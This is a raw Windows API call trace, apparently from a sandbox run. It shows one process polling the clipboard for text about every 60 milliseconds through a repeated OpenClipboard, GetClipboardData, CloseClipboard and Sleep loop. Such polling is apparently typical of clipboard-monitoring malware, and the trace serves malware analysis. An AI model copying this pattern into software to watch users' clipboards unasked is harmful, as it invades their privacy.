[0220.444] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xde5afbae, dwHighDateTime=0x1d96e12))
[0220.444] OpenClipboard (hWndNewOwner=0x0) returned 1
[0220.444] GetClipboardData (uFormat=0x1) returned 0x0
[0220.444] CloseClipboard () returned 1
[0220.444] Sleep (dwMilliseconds=0x32)
[0220.507] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xde648583, dwHighDateTime=0x1d96e12))
[0220.507] OpenClipboard (hWndNewOwner=0x0) returned 1
[0220.507] GetClipboardData (uFormat=0x1) returned 0x0
[0220.507] CloseClipboard () returned 1
[0220.507] Sleep (dwMilliseconds=0x32)
[0220.569] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xde6e0ec4, dwHighDateTime=0x1d96e12))
[0220.569] OpenClipboard (hWndNewOwner=0x0) returned 1
[0220.569] GetClipboardData (uFormat=0x1) returned 0x0
[0220.569] CloseClipboard () returned 1
[0220.569] Sleep (dwMilliseconds=0x32)
[0220.637] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xde779866, dwHighDateTime=0x1d96e12))
[0220.637] OpenClipboard (hWndNewOwner=0x0) returned 1
[0220.637] GetClipboardData (uFormat=0x1) returned 0x0
[0220.637] CloseClipboard () returned 1
[0220.637] Sleep (dwMilliseconds=0x32)
[0220.694] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xde812172, dwHighDateTime=0x1d96e12))
[0220.694] OpenClipboard (hWndNewOwner=0x0) returned 1
[0220.694] GetClipboardData (uFormat=0x1) returned 0x0
[0220.694] CloseClipboard () returned 1
[0220.694] Sleep (dwMilliseconds=0x32)
[0220.756] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xde8aaabd, dwHighDateTime=0x1d96e12))
[0220.756] OpenClipboard (hWndNewOwner=0x0) returned 1
[0220.756] GetClipboardData (uFormat=0x1) returned 0x0
[0220.756] CloseClipboard () returned 1
[0220.756] Sleep (dwMilliseconds=0x32)
[0220.820] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xde943481, dwHighDateTime=0x1d96e12))
[0220.820] OpenClipboard (hWndNewOwner=0x0) returned 1
[0220.820] GetClipboardData (uFormat=0x1) returned 0x0
[0220.820] CloseClipboard () returned 1
[0220.820] Sleep (dwMilliseconds=0x32)
[0220.881] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xde9dbde2, dwHighDateTime=0x1d96e12))
[0220.881] OpenClipboard (hWndNewOwner=0x0) returned 1
[0220.881] GetClipboardData (uFormat=0x1) returned 0x0
[0220.881] CloseClipboard () returned 1
[0220.882] Sleep (dwMilliseconds=0x32)
[0220.944] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdea746ae, dwHighDateTime=0x1d96e12))
[0220.944] OpenClipboard (hWndNewOwner=0x0) returned 1
[0220.944] GetClipboardData (uFormat=0x1) returned 0x0
[0220.944] CloseClipboard () returned 1
[0220.944] Sleep (dwMilliseconds=0x32)
[0221.006] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdeb0d04c, dwHighDateTime=0x1d96e12))
[0221.006] OpenClipboard (hWndNewOwner=0x0) returned 1
[0221.006] GetClipboardData (uFormat=0x1) returned 0x0
[0221.006] CloseClipboard () returned 1
[0221.007] Sleep (dwMilliseconds=0x32)
[0221.070] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdeba7f85, dwHighDateTime=0x1d96e12))
[0221.070] OpenClipboard (hWndNewOwner=0x0) returned 1
[0221.070] GetClipboardData (uFormat=0x1) returned 0x0
[0221.070] CloseClipboard () returned 1
[0221.070] Sleep (dwMilliseconds=0x32)
[0221.131] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdec3e344, dwHighDateTime=0x1d96e12))
[0221.131] OpenClipboard (hWndNewOwner=0x0) returned 1
[0221.132] GetClipboardData (uFormat=0x1) returned 0x0
[0221.132] CloseClipboard () returned 1
[0221.132] Sleep (dwMilliseconds=0x32)
[0221.194] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdecd6c7c, dwHighDateTime=0x1d96e12))
[0221.194] OpenClipboard (hWndNewOwner=0x0) returned 1
[0221.194] GetClipboardData (uFormat=0x1) returned 0x0
[0221.194] CloseClipboard () returned 1
[0221.194] Sleep (dwMilliseconds=0x32)
[0221.257] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xded72446, dwHighDateTime=0x1d96e12))
[0221.257] OpenClipboard (hWndNewOwner=0x0) returned 1
[0221.258] GetClipboardData (uFormat=0x1) returned 0x0
[0221.258] CloseClipboard () returned 1
[0221.258] Sleep (dwMilliseconds=0x32)
[0221.319] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdee07f17, dwHighDateTime=0x1d96e12))
[0221.319] OpenClipboard (hWndNewOwner=0x0) returned 1
[0221.319] GetClipboardData (uFormat=0x1) returned 0x0
[0221.319] CloseClipboard () returned 1
[0221.319] Sleep (dwMilliseconds=0x32)
[0221.696] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdf19b744, dwHighDateTime=0x1d96e12))
[0221.696] OpenClipboard (hWndNewOwner=0x0) returned 1
[0221.696] GetClipboardData (uFormat=0x1) returned 0x0
[0221.696] CloseClipboard () returned 1
[0221.696] Sleep (dwMilliseconds=0x32)
[0221.756] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdf23415c, dwHighDateTime=0x1d96e12))
[0221.756] OpenClipboard (hWndNewOwner=0x0) returned 1
[0221.756] GetClipboardData (uFormat=0x1) returned 0x0
[0221.756] CloseClipboard () returned 1
[0221.757] Sleep (dwMilliseconds=0x32)
[0221.819] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdf2ccaef, dwHighDateTime=0x1d96e12))
[0221.819] OpenClipboard (hWndNewOwner=0x0) returned 1
[0221.819] GetClipboardData (uFormat=0x1) returned 0x0
[0221.819] CloseClipboard () returned 1
[0221.819] Sleep (dwMilliseconds=0x32)
[0221.883] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdf365458, dwHighDateTime=0x1d96e12))
[0221.883] OpenClipboard (hWndNewOwner=0x0) returned 1
[0221.883] GetClipboardData (uFormat=0x1) returned 0x0
[0221.883] CloseClipboard () returned 1
[0221.883] Sleep (dwMilliseconds=0x32)
[0221.944] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdf3fdda1, dwHighDateTime=0x1d96e12))
[0221.944] OpenClipboard (hWndNewOwner=0x0) returned 1
[0221.944] GetClipboardData (uFormat=0x1) returned 0x0
[0221.944] CloseClipboard () returned 1
[0221.944] Sleep (dwMilliseconds=0x32)
[0222.006] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdf49670a, dwHighDateTime=0x1d96e12))
[0222.006] OpenClipboard (hWndNewOwner=0x0) returned 1
[0222.006] GetClipboardData (uFormat=0x1) returned 0x0
[0222.006] CloseClipboard () returned 1
[0222.006] Sleep (dwMilliseconds=0x32)
[0222.069] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdf52f0c1, dwHighDateTime=0x1d96e12))
[0222.069] OpenClipboard (hWndNewOwner=0x0) returned 1
[0222.069] GetClipboardData (uFormat=0x1) returned 0x0
[0222.069] CloseClipboard () returned 1
[0222.069] Sleep (dwMilliseconds=0x32)
[0222.132] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdf5c7a0c, dwHighDateTime=0x1d96e12))
[0222.132] OpenClipboard (hWndNewOwner=0x0) returned 1
[0222.132] GetClipboardData (uFormat=0x1) returned 0x0
[0222.132] CloseClipboard () returned 1
[0222.132] Sleep (dwMilliseconds=0x32)
[0222.195] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdf66124f, dwHighDateTime=0x1d96e12))
[0222.195] OpenClipboard (hWndNewOwner=0x0) returned 1
[0222.195] GetClipboardData (uFormat=0x1) returned 0x0
[0222.195] CloseClipboard () returned 1
[0222.196] Sleep (dwMilliseconds=0x32)
[0222.257] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdf6f9be3, dwHighDateTime=0x1d96e12))
[0222.257] OpenClipboard (hWndNewOwner=0x0) returned 1
[0222.257] GetClipboardData (uFormat=0x1) returned 0x0
[0222.257] CloseClipboard () returned 1
[0222.257] Sleep (dwMilliseconds=0x32)
[0222.308] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdf776b2c, dwHighDateTime=0x1d96e12))
[0222.308] OpenClipboard (hWndNewOwner=0x0) returned 1
[0222.308] GetClipboardData (uFormat=0x1) returned 0x0
[0222.308] CloseClipboard () returned 1
[0222.308] Sleep (dwMilliseconds=0x32)
[0222.377] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdf812d24, dwHighDateTime=0x1d96e12))
[0222.377] OpenClipboard (hWndNewOwner=0x0) returned 1
[0222.377] GetClipboardData (uFormat=0x1) returned 0x0
[0222.377] CloseClipboard () returned 1
[0222.377] Sleep (dwMilliseconds=0x32)
[0222.434] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdf8ab5b3, dwHighDateTime=0x1d96e12))
[0222.434] OpenClipboard (hWndNewOwner=0x0) returned 1
[0222.434] GetClipboardData (uFormat=0x1) returned 0x0
[0222.434] CloseClipboard () returned 1
[0222.435] Sleep (dwMilliseconds=0x32)
[0222.497] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdf944014, dwHighDateTime=0x1d96e12))
[0222.497] OpenClipboard (hWndNewOwner=0x0) returned 1
[0222.497] GetClipboardData (uFormat=0x1) returned 0x0
[0222.497] CloseClipboard () returned 1
[0222.497] Sleep (dwMilliseconds=0x32)
[0222.559] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdf9dc930, dwHighDateTime=0x1d96e12))
[0222.559] OpenClipboard (hWndNewOwner=0x0) returned 1
[0222.559] GetClipboardData (uFormat=0x1) returned 0x0
[0222.560] CloseClipboard () returned 1
[0222.560] Sleep (dwMilliseconds=0x32)
[0222.622] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdfa752d3, dwHighDateTime=0x1d96e12))
[0222.622] OpenClipboard (hWndNewOwner=0x0) returned 1
[0222.622] GetClipboardData (uFormat=0x1) returned 0x0
[0222.622] CloseClipboard () returned 1
[0222.622] Sleep (dwMilliseconds=0x32)
[0222.685] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdfb0dc27, dwHighDateTime=0x1d96e12))
[0222.685] OpenClipboard (hWndNewOwner=0x0) returned 1
[0222.685] GetClipboardData (uFormat=0x1) returned 0x0
[0222.685] CloseClipboard () returned 1
[0222.685] Sleep (dwMilliseconds=0x32)
[0222.747] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdfba6583, dwHighDateTime=0x1d96e12))
[0222.747] OpenClipboard (hWndNewOwner=0x0) returned 1
[0222.747] GetClipboardData (uFormat=0x1) returned 0x0
[0222.747] CloseClipboard () returned 1
[0222.747] Sleep (dwMilliseconds=0x32)
[0222.809] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdfc3ef08, dwHighDateTime=0x1d96e12))
[0222.809] OpenClipboard (hWndNewOwner=0x0) returned 1
[0222.810] GetClipboardData (uFormat=0x1) returned 0x0
[0222.810] CloseClipboard () returned 1
[0222.810] Sleep (dwMilliseconds=0x32)
[0222.872] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdfcd7857, dwHighDateTime=0x1d96e12))
[0222.872] OpenClipboard (hWndNewOwner=0x0) returned 1
[0222.872] GetClipboardData (uFormat=0x1) returned 0x0
[0222.872] CloseClipboard () returned 1
[0222.872] Sleep (dwMilliseconds=0x32)
[0222.934] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdfd701c0, dwHighDateTime=0x1d96e12))
[0222.934] OpenClipboard (hWndNewOwner=0x0) returned 1
[0222.934] GetClipboardData (uFormat=0x1) returned 0x0
[0222.934] CloseClipboard () returned 1
[0222.934] Sleep (dwMilliseconds=0x32)
[0222.997] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdfe08b6c, dwHighDateTime=0x1d96e12))
[0222.997] OpenClipboard (hWndNewOwner=0x0) returned 1
[0222.997] GetClipboardData (uFormat=0x1) returned 0x0
[0222.997] CloseClipboard () returned 1
[0222.997] Sleep (dwMilliseconds=0x32)
[0223.059] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdfea1476, dwHighDateTime=0x1d96e12))
[0223.059] OpenClipboard (hWndNewOwner=0x0) returned 1
[0223.059] GetClipboardData (uFormat=0x1) returned 0x0
[0223.059] CloseClipboard () returned 1
[0223.060] Sleep (dwMilliseconds=0x32)
[0223.122] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdff39dec, dwHighDateTime=0x1d96e12))
[0223.122] OpenClipboard (hWndNewOwner=0x0) returned 1
[0223.122] GetClipboardData (uFormat=0x1) returned 0x0
[0223.122] CloseClipboard () returned 1
[0223.122] Sleep (dwMilliseconds=0x32)
[0223.184] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdffd2785, dwHighDateTime=0x1d96e12))
[0223.184] OpenClipboard (hWndNewOwner=0x0) returned 1
[0223.184] GetClipboardData (uFormat=0x1) returned 0x0
[0223.184] CloseClipboard () returned 1
[0223.185] Sleep (dwMilliseconds=0x32)
[0223.247] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe006b0b8, dwHighDateTime=0x1d96e12))
[0223.247] OpenClipboard (hWndNewOwner=0x0) returned 1
[0223.247] GetClipboardData (uFormat=0x1) returned 0x0
[0223.247] CloseClipboard () returned 1
[0223.247] Sleep (dwMilliseconds=0x32)
[0223.309] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe0103a09, dwHighDateTime=0x1d96e12))
[0223.309] OpenClipboard (hWndNewOwner=0x0) returned 1
[0223.309] GetClipboardData (uFormat=0x1) returned 0x0
[0223.310] CloseClipboard () returned 1
[0223.310] Sleep (dwMilliseconds=0x32)
[0223.372] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe019c382, dwHighDateTime=0x1d96e12))
[0223.372] OpenClipboard (hWndNewOwner=0x0) returned 1
[0223.372] GetClipboardData (uFormat=0x1) returned 0x0
[0223.372] CloseClipboard () returned 1
[0223.372] Sleep (dwMilliseconds=0x32)
[0223.434] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe0234d4a, dwHighDateTime=0x1d96e12))
[0223.434] OpenClipboard (hWndNewOwner=0x0) returned 1
[0223.434] GetClipboardData (uFormat=0x1) returned 0x0
[0223.434] CloseClipboard () returned 1
[0223.435] Sleep (dwMilliseconds=0x32)
[0223.497] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe02cd673, dwHighDateTime=0x1d96e12))
[0223.497] OpenClipboard (hWndNewOwner=0x0) returned 1
[0223.497] GetClipboardData (uFormat=0x1) returned 0x0
[0223.497] CloseClipboard () returned 1
[0223.497] Sleep (dwMilliseconds=0x32)
[0223.560] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe0365ff9, dwHighDateTime=0x1d96e12))
[0223.560] OpenClipboard (hWndNewOwner=0x0) returned 1
[0223.560] GetClipboardData (uFormat=0x1) returned 0x0
[0223.560] CloseClipboard () returned 1
[0223.560] Sleep (dwMilliseconds=0x32)
[0223.622] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe03fe934, dwHighDateTime=0x1d96e12))
[0223.622] OpenClipboard (hWndNewOwner=0x0) returned 1
[0223.622] GetClipboardData (uFormat=0x1) returned 0x0
[0223.622] CloseClipboard () returned 1
[0223.622] Sleep (dwMilliseconds=0x32)
[0223.684] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe0497213, dwHighDateTime=0x1d96e12))
[0223.684] OpenClipboard (hWndNewOwner=0x0) returned 1
[0223.684] GetClipboardData (uFormat=0x1) returned 0x0
[0223.684] CloseClipboard () returned 1
[0223.684] Sleep (dwMilliseconds=0x32)
[0223.747] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe052fc38, dwHighDateTime=0x1d96e12))
[0223.747] OpenClipboard (hWndNewOwner=0x0) returned 1
[0223.747] GetClipboardData (uFormat=0x1) returned 0x0
[0223.747] CloseClipboard () returned 1
[0223.747] Sleep (dwMilliseconds=0x32)
[0223.809] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe05c856f, dwHighDateTime=0x1d96e12))
[0223.809] OpenClipboard (hWndNewOwner=0x0) returned 1
[0223.809] GetClipboardData (uFormat=0x1) returned 0x0
[0223.810] CloseClipboard () returned 1
[0223.810] Sleep (dwMilliseconds=0x32)
[0223.866] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe0651adc, dwHighDateTime=0x1d96e12))
[0223.866] OpenClipboard (hWndNewOwner=0x0) returned 1
[0223.866] GetClipboardData (uFormat=0x1) returned 0x0
[0223.866] CloseClipboard () returned 1
[0223.866] Sleep (dwMilliseconds=0x32)
[0223.919] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe06d360a, dwHighDateTime=0x1d96e12))
[0223.919] OpenClipboard (hWndNewOwner=0x0) returned 1
[0223.919] GetClipboardData (uFormat=0x1) returned 0x0
[0223.919] CloseClipboard () returned 1
[0223.919] Sleep (dwMilliseconds=0x32)
[0223.981] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe076bf7f, dwHighDateTime=0x1d96e12))
[0223.981] OpenClipboard (hWndNewOwner=0x0) returned 1
[0223.981] GetClipboardData (uFormat=0x1) returned 0x0
[0223.981] CloseClipboard () returned 1
[0223.981] Sleep (dwMilliseconds=0x32)
[0224.044] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe080487b, dwHighDateTime=0x1d96e12))
[0224.044] OpenClipboard (hWndNewOwner=0x0) returned 1
[0224.044] GetClipboardData (uFormat=0x1) returned 0x0
[0224.044] CloseClipboard () returned 1
[0224.044] Sleep (dwMilliseconds=0x32)
[0224.106] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe089d266, dwHighDateTime=0x1d96e12))
[0224.106] OpenClipboard (hWndNewOwner=0x0) returned 1
[0224.107] GetClipboardData (uFormat=0x1) returned 0x0
[0224.107] CloseClipboard () returned 1
[0224.107] Sleep (dwMilliseconds=0x32)
[0224.169] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe0935b3e, dwHighDateTime=0x1d96e12))
[0224.169] OpenClipboard (hWndNewOwner=0x0) returned 1
[0224.169] GetClipboardData (uFormat=0x1) returned 0x0
[0224.169] CloseClipboard () returned 1
[0224.169] Sleep (dwMilliseconds=0x32)
[0224.231] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe09ce4e8, dwHighDateTime=0x1d96e12))
[0224.231] OpenClipboard (hWndNewOwner=0x0) returned 1
[0224.231] GetClipboardData (uFormat=0x1) returned 0x0
[0224.231] CloseClipboard () returned 1
[0224.231] Sleep (dwMilliseconds=0x32)
[0224.294] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe0a66e4b, dwHighDateTime=0x1d96e12))
[0224.294] OpenClipboard (hWndNewOwner=0x0) returned 1
[0224.294] GetClipboardData (uFormat=0x1) returned 0x0
[0224.294] CloseClipboard () returned 1
[0224.294] Sleep (dwMilliseconds=0x32)
[0224.356] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe0aff7bd, dwHighDateTime=0x1d96e12))
[0224.356] OpenClipboard (hWndNewOwner=0x0) returned 1
[0224.357] GetClipboardData (uFormat=0x1) returned 0x0
[0224.357] CloseClipboard () returned 1
[0224.357] Sleep (dwMilliseconds=0x32)
[0224.806] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe0f2b923, dwHighDateTime=0x1d96e12))
[0224.806] OpenClipboard (hWndNewOwner=0x0) returned 1
[0224.806] GetClipboardData (uFormat=0x1) returned 0x0
[0224.806] CloseClipboard () returned 1
[0224.806] Sleep (dwMilliseconds=0x32)
[0224.872] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe0fea58c, dwHighDateTime=0x1d96e12))
[0224.872] OpenClipboard (hWndNewOwner=0x0) returned 1
[0224.872] GetClipboardData (uFormat=0x1) returned 0x0
[0224.872] CloseClipboard () returned 1
[0224.872] Sleep (dwMilliseconds=0x32)
[0224.934] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe1082ea6, dwHighDateTime=0x1d96e12))
[0224.934] OpenClipboard (hWndNewOwner=0x0) returned 1
[0224.934] GetClipboardData (uFormat=0x1) returned 0x0
[0224.934] CloseClipboard () returned 1
[0224.934] Sleep (dwMilliseconds=0x32)
[0224.997] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe111b866, dwHighDateTime=0x1d96e12))
[0224.997] OpenClipboard (hWndNewOwner=0x0) returned 1
[0224.997] GetClipboardData (uFormat=0x1) returned 0x0
[0224.997] CloseClipboard () returned 1
[0224.997] Sleep (dwMilliseconds=0x32)
[0225.060] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe11b40fb, dwHighDateTime=0x1d96e12))
[0225.060] OpenClipboard (hWndNewOwner=0x0) returned 1
[0225.060] GetClipboardData (uFormat=0x1) returned 0x0
[0225.060] CloseClipboard () returned 1
[0225.060] Sleep (dwMilliseconds=0x32)
[0225.123] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe1250149, dwHighDateTime=0x1d96e12))
[0225.123] OpenClipboard (hWndNewOwner=0x0) returned 1
[0225.123] GetClipboardData (uFormat=0x1) returned 0x0
[0225.123] CloseClipboard () returned 1
[0225.123] Sleep (dwMilliseconds=0x32)
[0225.187] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe12e8af2, dwHighDateTime=0x1d96e12))
[0225.187] OpenClipboard (hWndNewOwner=0x0) returned 1
[0225.187] GetClipboardData (uFormat=0x1) returned 0x0
[0225.187] CloseClipboard () returned 1
[0225.187] Sleep (dwMilliseconds=0x32)
[0225.248] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe138140e, dwHighDateTime=0x1d96e12))
[0225.248] OpenClipboard (hWndNewOwner=0x0) returned 1
[0225.248] GetClipboardData (uFormat=0x1) returned 0x0
[0225.248] CloseClipboard () returned 1
[0225.248] Sleep (dwMilliseconds=0x32)
[0225.313] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe1419d68, dwHighDateTime=0x1d96e12))
[0225.314] OpenClipboard (hWndNewOwner=0x0) returned 1
[0225.314] GetClipboardData (uFormat=0x1) returned 0x0
[0225.314] CloseClipboard () returned 1
[0225.314] Sleep (dwMilliseconds=0x32)
[0225.385] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe14ccf1d, dwHighDateTime=0x1d96e12))
[0225.385] OpenClipboard (hWndNewOwner=0x0) returned 1
[0225.386] GetClipboardData (uFormat=0x1) returned 0x0
[0225.386] CloseClipboard () returned 1
[0225.386] Sleep (dwMilliseconds=0x32)
[0225.452] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe157131c, dwHighDateTime=0x1d96e12))
[0225.452] OpenClipboard (hWndNewOwner=0x0) returned 1
[0225.452] GetClipboardData (uFormat=0x1) returned 0x0
[0225.452] CloseClipboard () returned 1
[0225.452] Sleep (dwMilliseconds=0x32)
[0225.514] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xe1609c5f, dwHighDateTime=0x1d96e12))
